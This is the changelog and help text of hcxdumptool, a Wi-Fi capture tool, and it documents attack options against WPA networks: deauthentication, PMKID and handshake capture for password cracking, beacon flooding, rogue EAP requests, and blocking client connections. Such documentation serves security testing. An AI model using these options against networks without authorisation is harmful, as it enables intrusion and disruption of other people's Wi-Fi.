hcxdumptool: added option to reset an USB device without unplugging it --reset_usb_device=: reset USB device by BUS ID and device ID (/dev/bus/usb/bus_id/device_id $ lsusb Bus 005 Device 006: ID 7392:7710 Edimax Technology Co., Ltd Edimax Wi-Fi sysfs dev path = /dev/bus/usb/005/006 12.11.2022 ========== start moving to OpenSSL 3.0 EVP API this is a huge step forward an will break backward compatibility https://wiki.openssl.org/index.php/OpenSSL_3.0 07.08.2022 ========== release v6.2.7 several bug fixes still using OpenSSL 1.1 02.06.2022 ========== hcxdumptool: added warning if a not recommended driver has been detected 31.05.2022 ========== hcxpcapngtool: added new option according to https://github.com/ZerBea/hcxdumptool/issues/220 --passive : channel management is completely disabled - initial channel must be set by a third party tool hcxdumptool is acting like a passive dumper (silent mode) expect possible heavy packet loss 22.04.2022 ========== release v6.2.6 several bug fixes license update still supporting OpenSSL 1.1 01.12.2021 ========== release v6.2.5 still supporting OpenSSL 1.1 08.11.2021 ========== hcxdumptool: replaced channel scan engine by frequency scan engine this is high experimental tested devices: USB: Bus 005 Device 060: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter Bus 005 Device 062: ID 148f:761a Ralink Technology, Corp. MT7610U ("Archer T2U" 2.4G+5G WLAN Adapter Bus 005 Device 064: ID 148f:5572 Ralink Technology, Corp. RT5572 Wireless Adapter Bus 005 Device 065: ID 0e8d:7612 MediaTek Inc. MT7612U 802.11a/b/g/n/ac Wireless Adapter Bus 005 Device 066: ID 0cf3:9271 Qualcomm Atheros Communications AR9271 802.11n Bus 005 Device 068: ID 0bda:8178 Realtek Semiconductor Corp. RTL8192CU 802.11n WLAN Adapter Bus 005 Device 071: ID 7392:7710 Edimax Technology Co., Ltd Edimax Wi-Fi Bus 005 Device 073: ID 148f:7601 Ralink Technology, Corp. MT7601U Wireless Adapter Bus 005 Device 075: ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter Bus 005 Device 078: ID 0b05:17d1 ASUSTek Computer, Inc. AC51 802.11a/b/g/n/ac Wireless Adapter [Mediatek MT7610U] Bus 005 Device 082: ID 0bda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter PCI: 04:00.0 Network controller: Realtek Semiconductor Co., Ltd. RTL8821CE 802.11ac PCIe Wireless Network Adapter That is neccessary because, since WiFi 6, channel numbers are no longer unique: https://en.wikipedia.org/wiki/List_of_WLAN_channels 24.10.2021 ========== hcxdumptool: added new option to ignore ioctl() warnings --force_interface : ignore all ioctl() warnings do not report issues, if attacks or channel switch is not working as expected 23.10.2021 ========== added generic hcxdumptool.1 man page 22.10.2021 ========== moved install dir from usr/local/bin to /usr/bin 14.09.2021 ========== release v6.2.4 This is the last version, supporting OpenSSL 1.1 Next version 6.3.0 will need OpenSSL 3.0.0 01.09.2021 ========== hcxdumptool: added new option to the next EAP request entry contained in the sequence passed to --eapreq with a type matching the Desired Auth Type requested in a client's Legacy NAK response --eapreq_follownak : jump to Auth Type requested by client in Legacy Nak response, if type available in remaining request sequence 29.08.2021 ========== hcxdumptool: GPIO flash intervall not longer hardcoded --gpio_statusled_intervall= : Raspberry Pi GPIO LED flash intervall default = flash every 5 seconds 15.08.2021 ========== hcxdumptool: allow MAC instead of filter list --filterlist_ap= : ACCESS POINT MAC or MAC filter list format: 112233445566, 11:22:33:44:55:66, 11-22-33-44-55-66 # comment maximum entries 256 run first --do_rcascan to retrieve information about the target --filterlist_client= : CLIENT MAC or MAC filter list format: 112233445566, 11:22:33:44:55:66, 11-22-33-44-55-66 # comment maximum entries 256 due to MAC randomization of the CLIENT, it does not always work! 17.05.2021 ========== release v 6.1.6 get ready for gcc 11.1.0 18.03.2021 ========== hcxdumptool: added VENDOR filter --filterlist_ap_vendor= : ACCESS POINT MAC filter list by VENDOR format: 112233, 11:22:33, 11-22-33 # comment maximum entries 256 run first --do_rcascan to retrieve information about the target --filterlist_client_VENDOR= : CLIENT MAC filter list format: 112233, 11:22:33, 11-22-33 # comment maximum entries 256 due to MAC randomization of the CLIENT, it does not always work! 09.03.2021 ========== release v 6.1.6 get ready for OpenSSL 3.0 05.03.2021 ========== hcxdumptool: removed preamble option, because it is ignored by most wlan adapters 04.03.2021 ========== hcxdumptool: added new option to use short preamble --short_preamble : use short preamble default: use long preamble that may not work on older devices! 23.02.2021 ========== hcxdumptool: allow output to stdout -o : output file in pcapng format, filename '-' outputs to stdout including radiotap header (LINKTYPE_IEEE802_11_RADIOTAP) 14.02.2021 ========== sll_pkttype = PACKET_OUTGOING is completey ingnored in promiscuous mode At least I found a way to detect outgoing packets. Luckily IEEE80211_RADIOTAP_TX_FLAGS is set on outgoing packets. If we check this, we are able to ignore them. That save us CPU time. 13.02.2021 ========== hcxdumptool: added WATCHDOG - we need that to determine if USB device died Raspberry Pi LED will flash twice if now packet received turing the last past 600 seconds print AGE of last received packet in status 09.02.2021 ========== started to prepare to use openssl 3.0 Many structures have been made opaque in OpenSSL 3.0 since OpenSSL 1.0.2 https://wiki.openssl.org/index.php/OpenSSL_3.0 it is recommended to upgrade to at least to OpenSSL 1.1 06.02.2021 ========== hcxdumptool: fixed handling of BE (according to hcxpcapngtool fixes) 18.01.2021 ========== hcxdumptool: added auto channel/auto band. therefore default channel list and predefined channel lists changed! -c : set channel (1,2,3, ...) default: auto channel/auto band maximum entries: 255 standard 802.11 channels (depends on device, driver and world regulatory domain): 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 36, 38, 40, 44, 48, 52, 56, 60, 64 100, 104, 108, 112, 116, 120, 124, 128 132, 136, 140, 144, 149, 153, 157, 161, 165 201, 205, 209, 213, 217, 221, 225, 229, 233 -s : set predefined scanlist 0 = auto channel/auto band (default) 1 = 1,6,11,3,5,1,6,11,2,4,1,6,11,7,9,1,6,11,8,10,1,6,11,12,13 (optimized 2.4GHz) 2 = 1,2,3,4,5,6,7,8,9,10,11,12,13 (standard 2.4 GHz) 3 = 36,40,44,48,52,56,60,64,100,104,108,112,116,120,124,128,132,136,140,149,153,157,161,165 (standard 5GHz) 4 = 1,2,3,4,5,6,7,8,9,10,11,12,13,36,40,44,48,52,56,60,64,100,104,108,112,116,120,124,128,132,136,140,149,153,157,161,165 (standard 2.4GHz/5GHz) 5 = 201,205,209,213,217,221,225,229,233 (standard 6GHz) 16.01.2021 ========== hcxdumptool: added new option - rcascan ranking is no longer hard coded --rcascan_order=digit> : rcascan sorting order: 0 = sort by HIT (PROBERESPONSE) (default) 1 = sort by COUNT (BEACON) 2 = sort by CHANNEL 14.01.2021 ========== release v 6.1.5 03.01.2021 ========== hcxdummptool: added new option to limit status of rcascan to n lines --rcascan_max=digit> : show only n highest ranking lines default: 256 lines 21.12.2020 ========== removed TP-LINK TL-WN722N v1 (ath9k driver) from list of working devices due to driver issue hcxdumptool: moved from select() to pselect() 20.12.2020 ========== hcxdumptool: added tot (transmission timeout timer) hcxdumptool will no longer freeze if driver died this is a workaround on ath9k driver issue: https://github.com/ZerBea/hcxdumptool/issues/80#issuecomment-748622644 not caused by hcxdumptool: https://bugs.archlinux.org/task/68578 19.12.2020 ========== hcxdumptool: added support for 6GHz channels 201,205,209,213,217,221,225,229,233 on option -c and option -s -s : set predefined scanlist 0 = 1,6,11,3,5,1,6,11,2,4,1,6,11,7,9,1,6,11,8,10,1,6,11,12,13 (default) 1 = 1,2,3,4,5,6,7,8,9,10,11,12,13 2 = 36,40,44,48,52,56,60,64,100,104,108,112,116,120,124,128,132,136,140,149,153,157,161,165 3 = 1,2,3,4,5,6,7,8,9,10,11,12,13,36,40,44,48,52,56,60,64,100,104,108,112,116,120,124,128,132,136,140,149,153,157,161,165 4 = 201,205,209,213,217,221,225,229,233 10.12.2020 ========== Makefile: make use of pkg-config 02.12.2020 ========== release v 6.1.4 27.11.2020 ========== hcxdumptool: show openSSL version in status 24.10.2020 ========== hcxdumptool: Default channels are not longer hard coded. Now hcxdumptool test if channel is available. That allow handling of channels from a patched driver. Some 2 GHz ath9k radios are actually tunable on 2312-2732 on 5 MHz steps CHAN2G(2407, 14) CHAN2G(2402, 15) CHAN2G(2397, 16) CHAN2G(2392, 17) CHAN2G(2387, 18) CHAN2G(2382, 19) CHAN2G(2377, 20) CHAN2G(2372, 21) CHAN2G(2367, 22) CHAN2G(2362, 23) CHAN2G(2357, 24) CHAN2G(2352, 25) CHAN2G(2347, 26) CHAN2G(2342, 27) CHAN2G(2337, 28) CHAN2G(2332, 29) CHAN2G(2327, 30) CHAN2G(2322, 31) CHAN2G(2317, 32) CHAN2G(2312, 33) 09.10.2020 ========== release v 6.1.3 fixed broken GPS handling added better GPS error handling 03.10.2020 ========== hcxdumptool: added new option --example : show some example command lines 30.09.2020 ========== hcxdumptool: added new options --eapreq=[:],... : send max. 20 subsequent EAP requests after initial EAP ID request, hex string starting with EAP Type response is terminated with: :F = EAP Failure :S = EAP Success :I = EAP ERP Initiate :F = EAP ERP Finish :D = Deauthentication :T = TLS shutdown :- = no packet default behavior is terminating all responses with a EAP Failure, after last one the client is deauthenticated --eaptlstun : activate TLS tunnel negotiation and Phase 2 EAP requests when requesting PEAP using --eapreq requires --eap_server_cert and --eap_server_key --eap_server_cert= : EAP TLS tunnel Server cert PEM file --eap_server_key= : EAP TLS tunnel Server private key file 17.09.2020 ========== release v 6.1.2 15.09.2020 ========== hcxdumptool: added new option --stop_client_m2_attacks= : stop attacks against CLIENTS after 10 M2 frames received affected: ap-less (EAPOL 2/4 - M2) attack require hcxpcangtool --all option 24.08.2020 ========== hcxdumptool: added new option --eapreq=[:],... : send max. 20 subsequent EAP requests after initial EAP ID request, hex string starting with EAP Type response is terminated with :F = EAP Failure, :S = EAP Success, :I = EAP ERP Initiate, :F = EAP ERP Finish, :D = Deauthentication, :- = no packet default behavior is terminating all responses with a Failure packet, after last one the client is deauthenticated 14.08.2020 ========== hcxdumptool: added new option --wpaent to announce WPA ENTERPRISE 06.08.2020 ========== release v 6.1.1 fixed handling of long opts 30.07.2020 ========== hcxdumptool: added new option --ip to allow to set IP for server / client mode 29.07.2020 ========== hcxdumptool: add new radiotap flag: IEEE80211_RADIOTAP_F_TX_NOSEQNO https://patchwork.kernel.org/patch/11680527/ 29.07.2020 ========== release v 6.1.0 19.07.2020 ========== hcxdumptool: new option --beaconparams= : update or add Information Elements in all transmitted beacons maximum 50 IEs as TLV hex string, tag id 0 (ESSID) will be ignored, tag id 3 (channel) overwritten multiple IEs with same tag id are added, default IE is overwritten by the first 06.07.2020 ========== hcxdumptool: allow to set channel (-c) on --check_injection fixed display channel if tags.channel is empty added new option -s to set predefined scanlists -s : set predefined scanlist 0 = 1,6,11,3,5,1,6,11,2,4,1,6,11,7,9,1,6,11,8,10,1,6,11,12,13 (default) 1 = 1,2,3,4,5,6,7,8,9,10,11,12,13 2 = 36,40,44,48,52,56,60,64,100,104,108,112,116,120,124,128,132,136,140,149,153,157,161,165 3 = 1,2,3,4,5,6,7,8,9,10,11,12,13,36,40,44,48,52,56,60,64,100,104,108,112,116,120,124,128,132,136,140,149,153,157,161,165 15.06.2020 ========== release v 6.0.7 10.06.2020 ========== hcxdumptool: changed behavior of --essidlist and --active_beacon according to https://github.com/ZerBea/hcxdumptool/issues/115 --essidlist - transmit beacons from this list only --active_beacon - transmit beacons from collected ESSIDs and from essidlist 21.05.2020 ========== release v 6.0.6 18.05.2020 ========== hcxdumptool: added new option --do_targetscan --do_targetscan= : same as do_rcascan - hide all networks, except target 17.05.2020 ========== hcxdumptool: fixed issue that caused hcxdumptool to respond on probereuest even if --silent is selcted allow MAC format 11:22:33:44:55:66 and 11-22-33-44-55-66 in filterlists 01.05.2020 ========== hcxdumptool: added option mask to save vendor defined action frames -f : frames to save bitmask: 0: clear default values 1: MANAGEMENT frames (default) 2: EAP and EAPOL frames (default) 4: IPV4 frames 8: IPV6 frames 16: WEP encrypted frames 32: WPA encrypted frames 64: vendor defined frames (AWDL) 05.04.2020 ========== release v 6.0.5 Security fix: We do not want to disturb uninvolved users! Increase error count and terminate hcxdumptool if channel was changed by a third party tool. After transmitting a request, hcxdumptool expect an answer on the same channel. If the channel was changed by a third party tool, hcxdumptool will never get this answer and transmit again, again and again. This will jam all channels, set by the third party tool. https://forum.hashkiller.io/index.php?threads/ap-less-attack-with-hcxtools.21036/page-4#post-237403 04.04.2020 ========== release v 6.0.4 27.03.2020 ========== hcxdumptool: ERROR_MAX not longer hard coded --error_max= : terminate hcxdumptool if error maximum reached default: 100 errors 26.03.2020 ========== Some drivers / firmwares provide only limited monitor functions instead of full packet injection capabilities. hcxdumptool: added packet injection test --check_injection : run packet injection test to determine that driver support full packet injection\n" 18.03.2020 ========== release v 6.0.3 removed debug message "OS not supported" from Makefile 14.03.2020 ========== release v 6.0.2 complete rewrite from scratch the Raspberry Pi is a little bit too slow, so we have to reduce status output. Most CLIENTs running randomized MACs. They are no longer displayed. improved IE tag walk similar to hcxpcapngtool improved attack vector added new options to improve attack vector against hardened targets added more information to help menu added option to import Berkeley packet Filter code fom tcpdump as alternative to apfilterlist and clientfilterlist make less noise on the the channel (receive more, transmit less) WLAN REASON CODE (deauthentication) no longer hardcoded moved to git versioning on non releases $ hcxdumptool -h hcxdumptool 6.0.2 (C) 2020 ZeroBeat usage : hcxdumptool press the switch to terminate hcxdumptool hardware modification is necessary, read more: https://github.com/ZerBea/hcxdumptool/tree/master/docs example: hcxdumptool -o output.pcapng -i wlp39s0f3u4u5 -t 5 --enable_status=3 do not run hcxdumptool on logical (NETLINK) interfaces (monx, wlanxmon) do not use hcxdumptool in combination with other 3rd party tools, which take access to the interface short options: -i : interface (monitor mode will be enabled by hcxdumptool) can also be done manually: ip link set down iw dev set type monitor ip link set up WARNING: iw use NETLINK (libnl) and hcxdumptool will not work on pure NETLINK interfaces -o : output file in pcapng format including radiotap header (LINKTYPE_IEEE802_11_RADIOTAP) -f : frames to save bitmask: 0: clear default values 1: MANAGEMENT frames (default) 2: EAP and EAPOL frames (default) 4: IPV4 frames 8: IPV6 frames 16: WEP encrypted frames 32: WPA encrypted frames to clear default values use -f 0 first, followed by desired frame type (e.g. -f 0 -f 4) -c : set scan list (1,2,3, ...) default scan list: 1...13 maximum entries: 127 allowed channels (depends on the device): 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 32, 34, 36, 38, 40, 42, 44, 46, 48, 50, 52, 54, 56, 58, 60, 62, 64, 68, 96 100, 102, 104, 106, 108, 110, 112, 114, 116, 118, 120, 122, 124, 126, 128 132, 134, 136, 138, 140, 142, 144, 149, 151, 153, 155, 157, 159 161, 165, 169, 173 -t : stay time on channel before hopping to the next channel default 4 seconds -m : set monitor mode by ioctl() system call and quit -I : show WLAN interfaces and quit -C : show available channels and quit if no channels are available, interface is probably in use or doesn't support monitor mode long options: --do_rcascan : show radio channel assignment (scan for target access points) this can be used to test that ioctl() calls and packet injection is working if you got no HIT, packet injection is possible not working also it can be used to get information about the target and to determine that the target is in range use this mode to collect data for the filter list run this mode at least for 2 minutes to save all received raw packets use option -o --reason_code= : deauthentication reason code recommended codes: 1 WLAN_REASON_UNSPECIFIED 2 WLAN_REASON_PREV_AUTH_NOT_VALID 4 WLAN_REASON_DISASSOC_DUE_TO_INACTIVITY 5 WLAN_REASON_DISASSOC_AP_BUSY 6 WLAN_REASON_CLASS2_FRAME_FROM_NONAUTH_STA 7 WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA (default) 9 WLAN_REASON_STA_REQ_ASSOC_WITHOUT_AUTH --disable_client_attacks : do not attack clients affected: ap-less (EAPOL 2/4 - M2) attack --disable_ap_attacks : do not attack access points affected: connected clients and client-less (PMKID) attack --stop_ap_attacks= : stop attacks against ACCESS POINTs if BEACONs received default: stop after 600 BEACONs --resume_ap_attacks= : resume attacks against ACCESS POINTs after BEACONs received default: 864000 BEACONs --disable_deauthentication : do not send deauthentication or disassociation frames affected: conntected clients --silent : do not transmit! hcxdumptool is acting like a passive dumper expect possible packet loss --eapoltimeout= : set EAPOL TIMEOUT (microseconds) default: 20000 usec --bpfc= : input Berkeley Packet Filter (BPF) code steps to create a BPF (it only has to be done once): set hcxdumptool monitormode $ hcxumptool -m create BPF to protect a MAC $ tcpdump -i not wlan addr1 11:22:33:44:55:66 and not wlan addr2 11:22:33:44:55:66 -ddd > protect.bpf recommended to protect own devices or create BPF to attack a MAC $ tcpdump -i wlan addr1 11:22:33:44:55:66 or wlan addr2 11:22:33:44:55:66 -ddd > attack.bpf not recommended, because important pre-authentication frames will be lost due to MAC randomization of the CLIENTs use the BPF code $ hcxumptool -i --bpfc=attack.bpf ... see man pcap-filter for a list of all filter options --filterlist_ap= : ACCESS POINT MAC filter list format: 112233445566 + comment maximum entries 256 run first --do_rcascan to retrieve information about the target --filterlist_client= : CLIENT MAC filter list format: 112233445566 # comment maximum entries 256 due to MAC randomization of the CLIENT, it does not always work! --filtermode= : mode for filter list mandatory in combination with --filterlist_ap and/or --filterlist_client 0: ignore filter list (default) 1: use filter list as protection list do not interact with ACCESS POINTs and CLIENTs from this list 2: use filter list as target list only interact with ACCESS POINTs and CLIENTs from this list not recommended, because important pre-authentication frames will be lost due to MAC randomization of the CLIENTs --weakcandidate= : use this pre shared key (8...63 characters) for weak candidate alert will be saved to pcapng to inform hcxpcaptool default: --mac_ap : use this MAC as ACCESS POINT MAC instead of a randomized one format: 112233445566 --mac_client : use this MAC as CLIENT MAC instead of a randomized one format: 112233445566 --essidlist= : transmit beacons from this ESSID list maximum entries: 256 ESSIDs --active_beacon : transmit beacon once every 200000 usec affected: ap-less --flood_beacon : transmit beacon on every received beacon affected: ap-less --infinity : prevent that a CLIENT can establish a connection to an assigned ACCESS POINT affected: ACCESS POINTs and CLIENTs --use_gps_device= : use GPS device /dev/ttyACM0, /dev/ttyUSB0, ... NMEA 0183 $GPGGA $GPGGA --use_gpsd : use GPSD device NMEA 0183 $GPGGA, $GPRMC --nmea= : save track to file format: NMEA 0183 $GPGGA, $GPRMC, $GPWPL to convert it to gpx, use GPSBabel: gpsbabel -i nmea -f hcxdumptool.nmea -o gpx -F file.gpx to display the track, open file.gpx with viking --gpio_button= : Raspberry Pi GPIO pin number of button (2...27) default = GPIO not in use --gpio_statusled= : Raspberry Pi GPIO number of status LED (2...27) default = GPIO not in use --tot= : enable timeout timer in minutes (minimum = 2 minutes) : hcxdumptool will terminate if tot reached (EXIT code = 2) --reboot : once hcxdumptool terminated, reboot system --poweroff : once hcxdumptool terminated, power off system --enable_status= : enable real-time display (waterfall) only incoming traffic only once at the first occurrence due to MAC randomization of CLIENTs bitmask: 0: no status (default) 1: EAP and EAPOL 2: ASSOCIATION and REASSOCIATION 4: AUTHENTICATION 8: BEACON and PROBERESPONSE 16: ROGUE AP 32: GPS (once a minute) 64: internal status (once a minute) 128: run as server 256: run as client characters < 0x20 && > 0x7e are replaced by . example: show everything but don't run as server or client (1+2+4+8+16 = 31) show only EAP and EAPOL and ASSOCIATION and REASSOCIATION (1+2 = 3) --server_port= : define port for server status output (1...65535) : default IP: 224.0.0.255 : default port: 60123 --client_port= : define port for client status read (1...65535) : default IP: 224.0.0.255 : default port: 60123 --check_driver : run several tests to determine that driver support all(!) required ioctl() system calls --help : show this help --version : show version Run hcxdumptool -i interface --do_rcascan for at least 30 seconds, before you start an attack! Do not edit, merge or convert this pcapng files, because it will remove optional comment fields! It is much better to run gzip to compress the files. Wireshark, tshark and hcxpcapngtool will understand this. If hcxdumptool captured your password from WiFi traffic, you should check all your devices immediately! If you use GPS, make sure GPS device is inserted and has a GPS FIX, before you start hcxdumptool! 06.03.2020 ========== complete rewrite from scratch the Raspberry Pi is a little bit too slow, so we have to reduce status output. Most CLIENTs running randomized MACs. They are no longer displayed. improved IE tag walk similar to hcxpcapngtool improved attack vector added new options to improve attack vector against hardened targets added more information to help menu added option to import Berkeley packet Filter code fom tcpdump as alternative to apfilterlist and clientfilterlist make less noise on the the channel (receive more, transmit less) WLAN REASON CODE (deauthentication) no longer hardcoded moved to git versioning on non releases 29.01.2020 ========== moved to v6.0.1 removed options to set userdefined MAC_AP and/or MAC_CLIENT, because they make hcxdumptool's stealth capability ineffective improved handling of association/reassociation frames improved handling of null/powersave frames added counter for PMKID/EAPOL frames handle EAP request/response frames improved IE tag walk similar to hcxpcapngtool fixed cipher suite and AKM suite handling handle wrong FCS reduce pcapng size fixed internal counters allow mixed attack vector PSK/PSK256 handle PMKID in reassociationrequest 11.12.2019 ========== moved to v6.0.0 hcxdumptool: complete rewrite from scratch filterlist splitted (APs, CLIENTs), entries increased upt to 256 each list: --filterlist_ap --filterlist_client improved real time display: driver information and firmware information (if available) detailed information about PMKID and MESSAGE PAIR) allow more than one option (--enable_status) 0: no status (default) 1: EAPOL 2: PROBE REQUEST/PROBE RESPONSE 4: AUTHENTICATON 8: ASSOCIATION/REASSOCIATION 16: BEACON 32: GPS (once a minute) 64: internal status 128: send status to client choose pcapng frames to save (-f) using option -o improved rca_scan: 0: no real time display 1: show only access points in range (default) 2: show only access points not range 3: show all access points improved GPS handling: read GPS information directly from device --use_gps_device= or us GPSD --use_gpsd use full standard NMEA raw sentence $GPGGA, $GPRMC, $GPGWL this version need hcxpcaptool v6.0.0 to convert GPS information or gpsbabel gpsbabel -i nmea -f nmea.txt -o gpx -F test.gpx then open test.gpx with viking (layer -> waypoint -> BSSID) ignore M4 if SNONCE is zeroed ignore PMKID if zeroed improved handling of radiatapheader on ath9k_htc driver new option codes: ENTERPRISE NUMBER 0x2a, 0xce, 0x46, 0xa1 MAGIC NUMBER 0x2a, 0xce, 0x46, 0xa1, 0x79, 0xa0, 0x72, 0x33, 0x83, 0x37, 0x27, 0xab, 0x59, 0x33, 0xb3, 0x62, 0x45, 0x37, 0x11, 0x47, 0xa7, 0xcf, 0x32, 0x7f, 0x8d, 0x69, 0x80, 0xc0, 0x89, 0x5e, 0x5e, 0x98 OPTIONCODE_MACMYORIG 0xf29a (6 byte) OPTIONCODE_MACMYAP 0xf29b (6 byte) OPTIONCODE_RC 0xf29c (8 byte) OPTIONCODE_ANONCE 0xf29d (32 byte) OPTIONCODE_MACMYSTA 0xf29e (6 byte) OPTIONCODE_SNONCE 0xf29f (32 byte) OPTIONCODE_WEAKCANDIDATE 0xf2a0 (32 byte) OPTIONCODE_GPS 0xf2a1 (max 128 byte) removed weak candidate check, because it leads to many, many unauthorized MP:M1M2 hcxpioff: new options --tot, --poweroff, --reboot --tot= : enable timeout timer in minutes (minimum = 2 minutes) : hcxpioff will terminate if tot reached --reboot : once hcxpioff terminated, reboot system 20.09.2019 ========== hcxdumptool: added pcapng custom block we store all custom information inside this block list of used pcapng option codes: #define OPTIONCODE_MACMYORIG 0xf29a #define OPTIONCODE_MACMYAP 0xf29b #define OPTIONCODE_RC 0xf29c #define OPTIONCODE_ANONCE 0xf29d #define OPTIONCODE_MACMYSTA 0xf29e #define OPTIONCODE_SNONCE 0xf29f #define OPTIONCODE_WEAKCANDIDATE 0xf2a0 18.09.2019 ========== hcxdumptool: added new option --weak_candidate added weak candidate detection on PMKID and WPA1 weak candidate is no longer "hard coded" ---weak_candidate= : use this password (8...63 characters) for weak candidate alert default: 00000000 affected: client-less attack list of used pcapng option codes: #define OPTIONCODE_MACMYAP 62107 #define OPTIONCODE_RC 62108 #define OPTIONCODE_ANONCE 62109 #define OPTIONCODE_MACMYSTA 62110 #define OPTIONCODE_SNONCE 62111 #define OPTIONCODE_WEAKCANDIDATE 62112 17.09.2019 ========== hcxdumptool: added weak password check high experimental, only on WPA2 QOS new dependency: lib crypto (openssl) 07.09.2019 ========== hcxdumptool: added new options --reactive_beacon : send internal/external beacon on every received proberequest affected: ap-less --flood_beacon= : transmit internal/external beacon after every received management packet affected: ap-less 05.09.2019 ========== hcxdumptool: added new options (feature request: https://github.com/ZerBea/hcxdumptool/issues/70) --disable_internal_beacons : do not transmit beacons using received ESSIDs default: transmit this kind of beacon once on channel change or every five seconds affected: ap-less and reactive_beacon, flood_beacon --use_external_beaconlist= : transmit beacons from this list maximum ESSID length 32, maximum entries 4095 default: transmit this kind of beacon once on channel change or every five seconds affected: ap-less and reactive_beacon, flood_beacon 28.08.2019 ========== moved to v5.2.2 02.09.2019 ========== hcxdumptool : added bind() ll.sll_pkttype = PACKET_OTHERHOST | PACKET_OUTGOING added setsockopt() r.mr_type = PACKET_MR_PROMISC now dmesg will show when device entered promiscuous mode during hcxdumptool initialization: [ 6313.657830] device wlp3s0f0u11u1 entered promiscuous mode and when it left promiscuous mode when hcxdumptool terminated: [ 6313.735833] device wlp3s0f0u11u1 left promiscuous mode 01.09.2019 ========== hcxdumptool : print additional information about interfering services first_steps.txt : added quickstart guide to docs 28.08.2019 ========== moved to v5.2.1 25.08.2019 ========== hcxdumptool: removed option --ignore_warning (no longer needed) hcxdumptool forces to set monitor mode running ioctl(SIOCGIWMODE) IW_MODE_MONITOR if that doesn't work on first try, try it again and/or do monitor mode manually: ip link set down iw dev set type monitor ip link set up warning: on some drivers rtlXXXX netlink will not notice that we use forced ioctl() system calls in that case iw dev wlp3s0f0u11u4 will show you that the "netlink part" is still managed Interface wlp3s0f0u11u4 ifindex 11 wdev 0x800000001 addr 70:f1:1c:27:ae:ec type managed wiphy 8 txpower 13.00 dBm 19.08.2019 ========== moved to v5.2.0 18.08.2019 ========== hcxdumptool: print ESSID on status 1 15.08.2019 ========== hcxdumptool: added server - client status output (only local networkes) --server_port= : define port for server status output (1...65535) : default IP: 224.0.0.255 --client_port= : define port for client status read (1...65535) : default IP: 224.0.0.255 example: on client machine run hcxdumptool with option --client_port=12345 $ hcxdumptool -i -o test.pcapng --enable_status=1 --client_port=12345 on caputure machine run hcxdumptool with option --server_port=12345 $ hcxdumptool -i -o test.pcapng --enable_status=1 --server_port=12345 13.08.2019 ========== hcxdumptool: added new option --check_driver --check_driver : run several tests to determine that driver support all(!) required system calls If everything is fine, result should look like this: $ sudo hcxdumptool -i wlp3s0f0u10u4 --check_driver driver tests passed - all required ioctl() system calls are supported by driver If not, hcxdumptool will show which test failed: $ sudo hcxdumptool -i wlp3s0f0u10u5 --check_driver ioctl(SIOCGIFFLAGS) failed: No such device ioctl(SIOCGIWMODE) failed: No such device ioctl(SIOCSIFFLAGS) failed: No such device ioctl(SIOCSIWMODE) - IW_MODE_MONITOR failed: No such device ioctl(SIOCGIWMODE) failed: No such device ioctl(SIOCGIWMODE) - IW_MODE_MONITOR failed ioctl(SIOCSIFFLAGS) -IFF_UP failed: No such device ioctl(SIOCGIFFLAGS) failed: No such device ioctl(SIOCGIFFLAGS) - IFF_UP | IFF_RUNNING | IFF_BROADCAST failed ioctl(SIOCGIFINDEX) failed: No such device ioctl(SIOCETHTOOL) - ETHTOOL_GPERMADDR failed: No such device ioctl(SIOCSIWFREQ) - IW_FREQ_FIXED failed: No such device it looks like this interface/driver isn't suitable for hcxdumptool possible reasons: wrong interface selected interface is blocked by another tool driver doesn't support required ioctl() system calls 12.08.2019 ========== hcxdumptool: a crappy filter list is not longer a reason to terminate initialization 11.08.2019 ========== hcxdumptool: added new options --tot and --reboot --tot= : enable timeout timer in minutes (minimum = 2 minutes) : hcxdumptool will terminate if tot reached (EXIT code = 2) --reboot : once hcxdumptool terminated, reboot system hcxdumptool return values: 0 = every thing is fine 1 = error occured 2 = tot reached 23.07.2019 ========== hcxdumptool: moved from usleep() to nanosleep() hcxpioff: moved from usleep() to nanosleep() 17.07.2019 ========== added some additional information which ioctl() command isn't supported by driver added warning on option --do_rcascan if packet injection fails (driver doesn't support full packet injection) after 20 seconds Remarks: nl80211/cfg80211/mac80211 doesn't use use ioctl() calls, they use netlink. hcxdumptool use ioctl() calls and will not work on netlink. That is the case, if ioctl(SIOCGIWMODE) or ioctl(SIOCSIWMODE) calls failed! Read more here: https://www.quora.com/What-are-the-differences-between-netlink-sockets-and-ioctl-calls 30.06.2019 ========== increased maximum filter list entries from 64 up to 255 this will have a price tag, because hcxdumptool's respond time increases. 25.06.2019 ========== detect Raspberry Pi 4 23.06.2019 ========== moved to v 5.1.7 hcxdumptool: improved help fixed pcpng option header 12.06.2019 ========== hcxdumptool: ignore more warnings if --ignore_warning is selcted do not report issues if you run this option!!! 29.05.2019 ========== hcxdumptool moved to v 5.1.5 19.05.2019 ========== hcxdumptool: activated option --ignore warning --ignore_warning : ignore warnings try this if you get some driver warnings do not report issues 16.04.2019 ========== updated wiki device and README.md. This adapters are working fine, running kernel 4.19, 4.20 and 5.0: EDIMAX EW-7711UAN ID 7392:7710 Edimax Technology Co., Ltd ALLNET ALL-WA0150N ID 148f:7601 Ralink Technology, Corp. MT7601U Wireless Adapter TENDA W311U+ ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter LogiLink WL0151 ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter regardles of the xhci issue. 14.04.2019 ========== removed all device names from README.md, because VENDORS often change chipsets or driver errors occur: v1 of a device is working fine, while v2 doesn't work device A, running driver A is working fine, while device B running driver A doesn't work driver doesn't support monitor mode driver support monitor mode, but doesn't support packet injection Examples here: https://bugzilla.kernel.org/show_bug.cgi?id=202241 https://bugzilla.kernel.org/show_bug.cgi?id=202243 https://bugzilla.kernel.org/show_bug.cgi?id=202541 To find a working device, I recommend to read wikidevi: https://wikidevi.com/ 02.04.2019 ========== hcxdumptool now use this radiotap header: static const uint8_t hdradiotap[] = { 0x00, 0x00, // radiotap version + pad byte 0x0e, 0x00, // radiotap header length 0x06, 0x8c, 0x00, 0x00, // bitmap 0x00, // flags 0x02, // rate 0x14, // tx power 0x01, // antenna 0x08, 0x00 // tx flags #define HDRRT_SIZE sizeof(hdradiotap) }; read more about radiotap header here: https://www.kernel.org/doc/Documentation/networking/mac80211-injection.txt header is working with: ID 148f:761a Ralink Technology, 